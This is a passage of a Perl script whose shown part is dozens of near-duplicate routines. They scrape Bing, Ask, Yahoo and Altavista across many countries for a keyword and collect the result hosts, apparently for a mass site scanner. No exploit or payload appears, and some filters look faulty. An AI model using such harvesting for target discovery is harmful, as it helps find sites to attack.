  2948. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2949. my $link = $1;
  2950. if ($link !~ /msn|live|bingIT/) {
  2951. my @grep = &links($link);
  2952. push(@list,@grep);
  2953. }
  2954. }
  2955. }
  2956. return @list;
  2957. }
  2958.  
  2959. sub bingBE() {
  2960. my @list;
  2961. my $key = $_[0];
  2962. for (my $i=1; $i<=1000; $i+=10) {
  2963. my $search = ("http://www.bing.com/search?q=".key($key)."&cc=be&rf=1&first=".$i."&FORM=PORE");
  2964. my $res = &search_engine_query($search);
  2965. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2966. my $link = $1;
  2967. if ($link !~ /msn|live|bingBE/) {
  2968. my @grep = &links($link);
  2969. push(@list,@grep);
  2970. }
  2971. }
  2972. }
  2973. return @list;
  2974. }
  2975.  
  2976. sub bingNL() {
  2977. my @list;
  2978. my $key = $_[0];
  2979. for (my $i=1; $i<=1000; $i+=10) {
  2980. my $search = ("http://www.bing.com/search?q=".key($key)."&cc=nl&rf=1&first=".$i."&FORM=PORE");
  2981. my $res = &search_engine_query($search);
  2982. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2983. my $link = $1;
  2984. if ($link !~ /msn|live|bingNL/) {
  2985. my @grep = &links($link);
  2986. push(@list,@grep);
  2987. }
  2988. }
  2989. }
  2990. return @list;
  2991. }
  2992.  
  2993. sub bingPT() {
  2994. my @list;
  2995. my $key = $_[0];
  2996. for (my $i=1; $i<=1000; $i+=10) {
  2997. my $search = ("http://www.bing.com/search?q=".key($key)."&cc=pt&rf=1&first=".$i."&FORM=PORE");
  2998. my $res = &search_engine_query($search);
  2999. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  3000. my $link = $1;
  3001. if ($link !~ /msn|live|bingPT/) {
  3002. my @grep = &links($link);
  3003. push(@list,@grep);
  3004. }
  3005. }
  3006. }
  3007. return @list;
  3008. }
  3009.  
  3010. sub bingNO() {
  3011. my @list;
  3012. my $key = $_[0];
  3013. for (my $i=1; $i<=1000; $i+=10) {
  3014. my $search = ("http://www.bing.com/search?q=".key($key)."&cc=no&rf=1&first=".$i."&FORM=PORE");
  3015. my $res = &search_engine_query($search);
  3016. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  3017. my $link = $1;
  3018. if ($link !~ /msn|live|bingNO/) {
  3019. my @grep = &links($link);
  3020. push(@list,@grep);
  3021. }
  3022. }
  3023. }
  3024. return @list;
  3025. }
  3026.  
  3027. sub bingDK() {
  3028. my @list;
  3029. my $key = $_[0];
  3030. for (my $i=1; $i<=1000; $i+=10) {
  3031. my $search = ("http://www.bing.com/search?q=".key($key)."&cc=dk&rf=1&first=".$i."&FORM=PORE");
  3032. my $res = &search_engine_query($search);
  3033. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  3034. my $link = $1;
  3035. if ($link !~ /msn|live|bingDK/) {
  3036. my @grep = &links($link);
  3037. push(@list,@grep);
  3038. }
  3039. }
  3040. }
  3041. return @list;
  3042. }
  3043.  
  3044. sub bingSE() {
  3045. my @list;
  3046. my $key = $_[0];
  3047. for (my $i=1; $i<=1000; $i+=10) {
  3048. my $search = ("http://www.bing.com/search?q=".key($key)."&cc=se&rf=1&first=".$i."&FORM=PORE");
  3049. my $res = &search_engine_query($search);
  3050. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  3051. my $link = $1;
  3052. if ($link !~ /msn|live|bingSE/) {
  3053. my @grep = &links($link);
  3054. push(@list,@grep);
  3055. }
  3056. }
  3057. }
  3058. return @list;
  3059. }
  3060.  
  3061. sub bingCH() {
  3062. my @list;
  3063. my $key = $_[0];
  3064. for (my $i=1; $i<=1000; $i+=10) {
  3065. my $search = ("http://www.bing.com/search?q=".key($key)."&cc=ch&rf=1&first=".$i."&FORM=PORE");
  3066. my $res = &search_engine_query($search);
  3067. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  3068. my $link = $1;
  3069. if ($link !~ /msn|live|bingCH/) {
  3070. my @grep = &links($link);
  3071. push(@list,@grep);
  3072. }
  3073. }
  3074. }
  3075. return @list;
  3076. }
  3077.  
  3078. sub bingNZ() {
  3079. my @list;
  3080. my $key = $_[0];
  3081. for (my $i=1; $i<=1000; $i+=10) {
  3082. my $search = ("http://www.bing.com/search?q=".key($key)."&cc=nz&rf=1&first=".$i."&FORM=PORE");
  3083. my $res = &search_engine_query($search);
  3084. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  3085. my $link = $1;
  3086. if ($link !~ /msn|live|bingNZ/) {
  3087. my @grep = &links($link);
  3088. push(@list,@grep);
  3089. }
  3090. }
  3091. }
  3092. return @list;
  3093. }
  3094.  
  3095. sub bingRU() {
  3096. my @list;
  3097. my $key = $_[0];
  3098. for (my $i=1; $i<=1000; $i+=10) {
  3099. my $search = ("http://www.bing.com/search?q=".key($key)."&cc=ru&rf=1&first=".$i."&FORM=PORE");
  3100. my $res = &search_engine_query($search);
  3101. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  3102. my $link = $1;
  3103. if ($link !~ /msn|live|bingRU/) {
  3104. my @grep = &links($link);
  3105. push(@list,@grep);
  3106. }
  3107. }
  3108. }
  3109. return @list;
  3110. }
  3111.  
  3112. sub bingJP() {
  3113. my @list;
  3114. my $key = $_[0];
  3115. for (my $i=1; $i<=1000; $i+=10) {
  3116. my $search = ("http://www.bing.com/search?q=".key($key)."&cc=jp&rf=1&first=".$i."&FORM=PORE");
  3117. my $res = &search_engine_query($search);
  3118. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  3119. my $link = $1;
  3120. if ($link !~ /msn|live|bingJP/) {
  3121. my @grep = &links($link);
  3122. push(@list,@grep);
  3123. }
  3124. }
  3125. }
  3126. return @list;
  3127. }
  3128.  
  3129. sub bingCN() {
  3130. my @list;
  3131. my $key = $_[0];
  3132. for (my $i=1; $i<=1000; $i+=10) {
  3133. my $search = ("http://www.bing.com/search?q=".key($key)."&cc=cn&rf=1&first=".$i."&FORM=PORE");
  3134. my $res = &search_engine_query($search);
  3135. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  3136. my $link = $1;
  3137. if ($link !~ /msn|live|bingCN/) {
  3138. my @grep = &links($link);
  3139. push(@list,@grep);
  3140. }
  3141. }
  3142. }
  3143. return @list;
  3144. }
  3145.  
  3146. sub bingKR() {
  3147. my @list;
  3148. my $key = $_[0];
  3149. for (my $i=1; $i<=1000; $i+=10) {
  3150. my $search = ("http://www.bing.com/search?q=".key($key)."&cc=kr&rf=1&first=".$i."&FORM=PORE");
  3151. my $res = &search_engine_query($search);
  3152. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  3153. my $link = $1;
  3154. if ($link !~ /msn|live|bingKR/) {
  3155. my @grep = &links($link);
  3156. push(@list,@grep);
  3157. }
  3158. }
  3159. }
  3160. return @list;
  3161. }
  3162.  
  3163. sub bingMX() {
  3164. my @list;
  3165. my $key = $_[0];
  3166. for (my $i=1; $i<=1000; $i+=10) {
  3167. my $search = ("http://www.bing.com/search?q=".key($key)."&cc=mx&rf=1&first=".$i."&FORM=PORE");
  3168. my $res = &search_engine_query($search);
  3169. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  3170. my $link = $1;
  3171. if ($link !~ /msn|live|bingMX/) {
  3172. my @grep = &links($link);
  3173. push(@list,@grep);
  3174. }
  3175. }
  3176. }
  3177. return @list;
  3178. }
  3179.  
  3180. sub bingAR() {
  3181. my @list;
  3182. my $key = $_[0];
  3183. for (my $i=1; $i<=1000; $i+=10) {
  3184. my $search = ("http://www.bing.com/search?q=".key($key)."&cc=ar&rf=1&first=".$i."&FORM=PORE");
  3185. my $res = &search_engine_query($search);
  3186. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  3187. my $link = $1;
  3188. if ($link !~ /msn|live|bingAR/) {
  3189. my @grep = &links($link);
  3190. push(@list,@grep);
  3191. }
  3192. }
  3193. }
  3194. return @list;
  3195. }
  3196.  
  3197. sub bingCL() {
  3198. my @list;
  3199. my $key = $_[0];
  3200. for (my $i=1; $i<=1000; $i+=10) {
  3201. my $search = ("http://www.bing.com/search?q=".key($key)."&cc=cl&rf=1&first=".$i."&FORM=PORE");
  3202. my $res = &search_engine_query($search);
  3203. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  3204. my $link = $1;
  3205. if ($link !~ /msn|live|bingCL/) {
  3206. my @grep = &links($link);
  3207. push(@list,@grep);
  3208. }
  3209. }
  3210. }
  3211. return @list;
  3212. }
  3213.  
  3214. sub bingAU() {
  3215. my @list;
  3216. my $key = $_[0];
  3217. for (my $i=1; $i<=1000; $i+=10) {
  3218. my $search = ("http://www.bing.com/search?q=".key($key)."&cc=au&rf=1&first=".$i."&FORM=PORE");
  3219. my $res = &search_engine_query($search);
  3220. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  3221. my $link = $1;
  3222. if ($link !~ /msn|live|bingAU/) {
  3223. my @grep = &links($link);
  3224. push(@list,@grep);
  3225. }
  3226. }
  3227. }
  3228. return @list;
  3229. }
  3230.  
  3231. sub altavista() {
  3232. my @list;
  3233. my $key = $_[0];
  3234. for (my $i=1; $i<=500; $i+=10){
  3235. my $search = ("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".&key($key)."&stq=".$i);
  3236. my $res = &search_engine_query($search);
  3237. if ($res !~ /target=\"_self\">Succ/) {$i=500;}
  3238. while ($res =~ m/<span class=ngrn>(.+?)\//g) {
  3239. if ($1 !~ /altavista/){
  3240. my $link = $1;
  3241. $link =~ s/<//g;
  3242. $link =~ s/ //g;
  3243. my @grep = &links($link);
  3244. push(@list,@grep);
  3245. }
  3246. }
  3247. }
  3248. return @list;
  3249. }
  3250.  
  3251. sub ask() {
  3252. my @list;
  3253. my $key = $_[0];
  3254. for (my $i=1; $i<=1000; $i+=10) {
  3255. my $search = ("http://it.ask.com/web?q=".&key($key)."&qsrc=0&o=0&l=dir&qid=EE90DE6E8F5370F363A63EC61228D4FE&page=".$i."&jss=1&dm=all");
  3256. my $res = &search_engine_query($search);
  3257. if ($res !~ /Successiva/) {$i=50;}
  3258. while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=\"/g) {
  3259. if ($1 !~ /ask\.com/){
  3260. my $link = $1;
  3261. my @grep = &links($link);
  3262. push(@list,@grep);
  3263. }
  3264. }
  3265. }
  3266. return @list;
  3267. }
  3268. #################
  3269.  
  3270. sub ask1() {
  3271. my @list;
  3272. my $key = $_[0];
  3273. for (my $i=1; $i<=1000; $i+=1) {
  3274. my $search = ("http://int.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3275. my $res = &search_engine_query($search);
  3276. while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  3277. my $link = $1;
  3278. if ($link !~ /ask\.com/){
  3279. my @grep = &links($link);
  3280. push(@list,@grep);
  3281. }
  3282. }
  3283. }
  3284. return @list;
  3285. }
  3286.  
  3287. sub askCA() {
  3288. my @list;
  3289. my $key = $_[0];
  3290. for (my $i=1; $i<=1000; $i+=1) {
  3291. my $search = ("http://ca.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3292. my $res = &search_engine_query($search);
  3293. while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  3294. my $link = $1;
  3295. if ($link !~ /askCA\.com/){
  3296. my @grep = &links($link);
  3297. push(@list,@grep);
  3298. }
  3299. }
  3300. }
  3301. return @list;
  3302. }
  3303.  
  3304. sub askDE() {
  3305. my @list;
  3306. my $key = $_[0];
  3307. for (my $i=1; $i<=1000; $i+=1) {
  3308. my $search = ("http://de.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3309. my $res = &search_engine_query($search);
  3310. while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  3311. my $link = $1;
  3312. if ($link !~ /askDE\.com/){
  3313. my @grep = &links($link);
  3314. push(@list,@grep);
  3315. }
  3316. }
  3317. }
  3318. return @list;
  3319. }
  3320.  
  3321. sub askIT() {
  3322. my @list;
  3323. my $key = $_[0];
  3324. for (my $i=1; $i<=1000; $i+=1) {
  3325. my $search = ("http://it.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3326. my $res = &search_engine_query($search);
  3327. while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  3328. my $link = $1;
  3329. if ($link !~ /askIT\.com/){
  3330. my @grep = &links($link);
  3331. push(@list,@grep);
  3332. }
  3333. }
  3334. }
  3335. return @list;
  3336. }
  3337.  
  3338. sub askUK() {
  3339. my @list;
  3340. my $key = $_[0];
  3341. for (my $i=1; $i<=1000; $i+=1) {
  3342. my $search = ("http://uk.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3343. my $res = &search_engine_query($search);
  3344. while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  3345. my $link = $1;
  3346. if ($link !~ /askUK\.com/){
  3347. my @grep = &links($link);
  3348. push(@list,@grep);
  3349. }
  3350. }
  3351. }
  3352. return @list;
  3353. }
  3354.  
  3355. sub askFR() {
  3356. my @list;
  3357. my $key = $_[0];
  3358. for (my $i=1; $i<=1000; $i+=1) {
  3359. my $search = ("http://fr.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3360. my $res = &search_engine_query($search);
  3361. while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  3362. my $link = $1;
  3363. if ($link !~ /askFR\.com/){
  3364. my @grep = &links($link);
  3365. push(@list,@grep);
  3366. }
  3367. }
  3368. }
  3369. return @list;
  3370. }
  3371.  
  3372. sub askES() {
  3373. my @list;
  3374. my $key = $_[0];
  3375. for (my $i=1; $i<=1000; $i+=1) {
  3376. my $search = ("http://es.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3377. my $res = &search_engine_query($search);
  3378. while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  3379. my $link = $1;
  3380. if ($link !~ /askES\.com/){
  3381. my @grep = &links($link);
  3382. push(@list,@grep);
  3383. }
  3384. }
  3385. }
  3386. return @list;
  3387. }
  3388.  
  3389. sub askRU() {
  3390. my @list;
  3391. my $key = $_[0];
  3392. for (my $i=1; $i<=1000; $i+=1) {
  3393. my $search = ("http://ru.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3394. my $res = &search_engine_query($search);
  3395. while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  3396. my $link = $1;
  3397. if ($link !~ /askRU\.com/){
  3398. my @grep = &links($link);
  3399. push(@list,@grep);
  3400. }
  3401. }
  3402. }
  3403. return @list;
  3404. }
  3405.  
  3406. sub askNL() {
  3407. my @list;
  3408. my $key = $_[0];
  3409. for (my $i=1; $i<=1000; $i+=1) {
  3410. my $search = ("http://nl.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3411. my $res = &search_engine_query($search);
  3412. while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  3413. my $link = $1;
  3414. if ($link !~ /askNL\.com/){
  3415. my @grep = &links($link);
  3416. push(@list,@grep);
  3417. }
  3418. }
  3419. }
  3420. return @list;
  3421. }
  3422.  
  3423. sub askPL() {
  3424. my @list;
  3425. my $key = $_[0];
  3426. for (my $i=1; $i<=1000; $i+=1) {
  3427. my $search = ("http://pl.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3428. my $res = &search_engine_query($search);
  3429. while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  3430. my $link = $1;
  3431. if ($link !~ /askPL\.com/){
  3432. my @grep = &links($link);
  3433. push(@list,@grep);
  3434. }
  3435. }
  3436. }
  3437. return @list;
  3438. }
  3439.  
  3440. sub askAT() {
  3441. my @list;
  3442. my $key = $_[0];
  3443. for (my $i=1; $i<=1000; $i+=1) {
  3444. my $search = ("http://at.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3445. my $res = &search_engine_query($search);
  3446. while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  3447. my $link = $1;
  3448. if ($link !~ /askAT\.com/){
  3449. my @grep = &links($link);
  3450. push(@list,@grep);
  3451. }
  3452. }
  3453. }
  3454. return @list;
  3455. }
  3456.  
  3457. sub askSE() {
  3458. my @list;
  3459. my $key = $_[0];
  3460. for (my $i=1; $i<=1000; $i+=1) {
  3461. my $search = ("http://se.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3462. my $res = &search_engine_query($search);
  3463. while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  3464. my $link = $1;
  3465. if ($link !~ /askSE\.com/){
  3466. my @grep = &links($link);
  3467. push(@list,@grep);
  3468. }
  3469. }
  3470. }
  3471. return @list;
  3472. }
  3473.  
  3474. sub askDK() {
  3475. my @list;
  3476. my $key = $_[0];
  3477. for (my $i=1; $i<=1000; $i+=1) {
  3478. my $search = ("http://dk.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3479. my $res = &search_engine_query($search);
  3480. while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  3481. my $link = $1;
  3482. if ($link !~ /askDK\.com/){
  3483. my @grep = &links($link);
  3484. push(@list,@grep);
  3485. }
  3486. }
  3487. }
  3488. return @list;
  3489. }
  3490.  
  3491. sub askNO() {
  3492. my @list;
  3493. my $key = $_[0];
  3494. for (my $i=1; $i<=1000; $i+=1) {
  3495. my $search = ("http://no.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3496. my $res = &search_engine_query($search);
  3497. while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  3498. my $link = $1;
  3499. if ($link !~ /askNO\.com/){
  3500. my @grep = &links($link);
  3501. push(@list,@grep);
  3502. }
  3503. }
  3504. }
  3505. return @list;
  3506. }
  3507.  
  3508. sub askAU() {
  3509. my @list;
  3510. my $key = $_[0];
  3511. for (my $i=1; $i<=1000; $i+=1) {
  3512. my $search = ("http://au.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3513. my $res = &search_engine_query($search);
  3514. while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  3515. my $link = $1;
  3516. if ($link !~ /askAU\.com/){
  3517. my @grep = &links($link);
  3518. push(@list,@grep);
  3519. }
  3520. }
  3521. }
  3522. return @list;
  3523. }
  3524.  
  3525. sub askBR() {
  3526. my @list;
  3527. my $key = $_[0];
  3528. for (my $i=1; $i<=1000; $i+=1) {
  3529. my $search = ("http://br.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3530. my $res = &search_engine_query($search);
  3531. while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  3532. my $link = $1;
  3533. if ($link !~ /askBR\.com/){
  3534. my @grep = &links($link);
  3535. push(@list,@grep);
  3536. }
  3537. }
  3538. }
  3539. return @list;
  3540. }
  3541.  
  3542. sub askMX() {
  3543. my @list;
  3544. my $key = $_[0];
  3545. for (my $i=1; $i<=1000; $i+=1) {
  3546. my $search = ("http://mx.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3547. my $res = &search_engine_query($search);
  3548. while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  3549. my $link = $1;
  3550. if ($link !~ /askMX\.com/){
  3551. my @grep = &links($link);
  3552. push(@list,@grep);
  3553. }
  3554. }
  3555. }
  3556. return @list;
  3557. }
  3558.  
  3559. sub askJP() {
  3560. my @list;
  3561. my $key = $_[0];
  3562. for (my $i=1; $i<=1000; $i+=1) {
  3563. my $search = ("http://jp.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3564. my $res = &search_engine_query($search);
  3565. while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  3566. my $link = $1;
  3567. if ($link !~ /askJP\.com/){
  3568. my @grep = &links($link);
  3569. push(@list,@grep);
  3570. }
  3571. }
  3572. }
  3573. return @list;
  3574. }
  3575.  
  3576. #################
  3577. sub yahoo(){
  3578. my @list;
  3579. my $key = $_[0];
  3580. my $b = 0;
  3581. for ($b=1; $b<=500; $b+=10) {
  3582. my $search = ("http://search.yahoo.com/search?p=".&key($key)."&b=".$b);
  3583. my $res = &search_engine_query($search);
  3584. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3585. if ($1 !~ /yahoo\.com/){
  3586. my $link = $1;
  3587. my @grep = &links($link);
  3588. push(@list,@grep);
  3589. }
  3590. }
  3591. }
  3592. return @list;
  3593. }
  3594. sub yahooCA() {
  3595. my @list;
  3596. my $key = $_[0];
  3597. for (my $i=1; $i<=500; $i+=10) {
  3598. my $search = ("http://CA.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3599. my $res = &search_engine_query($search);
  3600. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3601. my $link = $1;
  3602. if ($link!~ /yahooCA/){
  3603. my @grep = &links($link);
  3604. push(@list,@grep);
  3605. }
  3606. }
  3607. }
  3608. return @list;
  3609. }
  3610.  
  3611. sub yahooUK() {
  3612. my @list;
  3613. my $key = $_[0];
  3614. for (my $i=1; $i<=500; $i+=10) {
  3615. my $search = ("http://UK.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3616. my $res = &search_engine_query($search);
  3617. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3618. my $link = $1;
  3619. if ($link!~ /yahooUK/){
  3620. my @grep = &links($link);
  3621. push(@list,@grep);
  3622. }
  3623. }
  3624. }
  3625. return @list;
  3626. }
  3627.  
  3628. sub yahooDE() {
  3629. my @list;
  3630. my $key = $_[0];
  3631. for (my $i=1; $i<=500; $i+=10) {
  3632. my $search = ("http://DE.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3633. my $res = &search_engine_query($search);
  3634. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3635. my $link = $1;
  3636. if ($link!~ /yahooDE/){
  3637. my @grep = &links($link);
  3638. push(@list,@grep);
  3639. }
  3640. }
  3641. }
  3642. return @list;
  3643. }
  3644.  
  3645. sub yahooFR() {
  3646. my @list;
  3647. my $key = $_[0];
  3648. for (my $i=1; $i<=500; $i+=10) {
  3649. my $search = ("http://FR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3650. my $res = &search_engine_query($search);
  3651. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3652. my $link = $1;
  3653. if ($link!~ /yahooFR/){
  3654. my @grep = &links($link);
  3655. push(@list,@grep);
  3656. }
  3657. }
  3658. }
  3659. return @list;
  3660. }
  3661.  
  3662. sub yahooES() {
  3663. my @list;
  3664. my $key = $_[0];
  3665. for (my $i=1; $i<=500; $i+=10) {
  3666. my $search = ("http://ES.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3667. my $res = &search_engine_query($search);
  3668. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3669. my $link = $1;
  3670. if ($link!~ /yahooES/){
  3671. my @grep = &links($link);
  3672. push(@list,@grep);
  3673. }
  3674. }
  3675. }
  3676. return @list;
  3677. }
  3678.  
  3679. sub yahooIT() {
  3680. my @list;
  3681. my $key = $_[0];
  3682. for (my $i=1; $i<=500; $i+=10) {
  3683. my $search = ("http://IT.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3684. my $res = &search_engine_query($search);
  3685. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3686. my $link = $1;
  3687. if ($link!~ /yahooIT/){
  3688. my @grep = &links($link);
  3689. push(@list,@grep);
  3690. }
  3691. }
  3692. }
  3693. return @list;
  3694. }
  3695.  
  3696. sub yahooID() {
  3697. my @list;
  3698. my $key = $_[0];
  3699. for (my $i=1; $i<=500; $i+=10) {
  3700. my $search = ("http://ID.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3701. my $res = &search_engine_query($search);
  3702. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3703. my $link = $1;
  3704. if ($link!~ /yahooID/){
  3705. my @grep = &links($link);
  3706. push(@list,@grep);
  3707. }
  3708. }
  3709. }
  3710. return @list;
  3711. }
  3712.  
  3713. sub yahooIN() {
  3714. my @list;
  3715. my $key = $_[0];
  3716. for (my $i=1; $i<=500; $i+=10) {
  3717. my $search = ("http://IN.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3718. my $res = &search_engine_query($search);
  3719. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3720. my $link = $1;
  3721. if ($link!~ /yahooIN/){
  3722. my @grep = &links($link);
  3723. push(@list,@grep);
  3724. }
  3725. }
  3726. }
  3727. return @list;
  3728. }
  3729.  
  3730. sub yahooAU() {
  3731. my @list;
  3732. my $key = $_[0];
  3733. for (my $i=1; $i<=500; $i+=10) {
  3734. my $search = ("http://AU.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3735. my $res = &search_engine_query($search);
  3736. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3737. my $link = $1;
  3738. if ($link!~ /yahooAU/){
  3739. my @grep = &links($link);
  3740. push(@list,@grep);
  3741. }
  3742. }
  3743. }
  3744. return @list;
  3745. }
  3746.  
  3747. sub yahooMX() {
  3748. my @list;
  3749. my $key = $_[0];
  3750. for (my $i=1; $i<=500; $i+=10) {
  3751. my $search = ("http://MX.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3752. my $res = &search_engine_query($search);
  3753. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3754. my $link = $1;
  3755. if ($link!~ /yahooMX/){
  3756. my @grep = &links($link);
  3757. push(@list,@grep);
  3758. }
  3759. }
  3760. }
  3761. return @list;
  3762. }
  3763.  
  3764. sub yahooTW() {
  3765. my @list;
  3766. my $key = $_[0];
  3767. for (my $i=1; $i<=500; $i+=10) {
  3768. my $search = ("http://TW.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3769. my $res = &search_engine_query($search);
  3770. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3771. my $link = $1;
  3772. if ($link!~ /yahooTW/){
  3773. my @grep = &links($link);
  3774. push(@list,@grep);
  3775. }
  3776. }
  3777. }
  3778. return @list;
  3779. }
  3780.  
  3781. sub yahooBR() {
  3782. my @list;
  3783. my $key = $_[0];
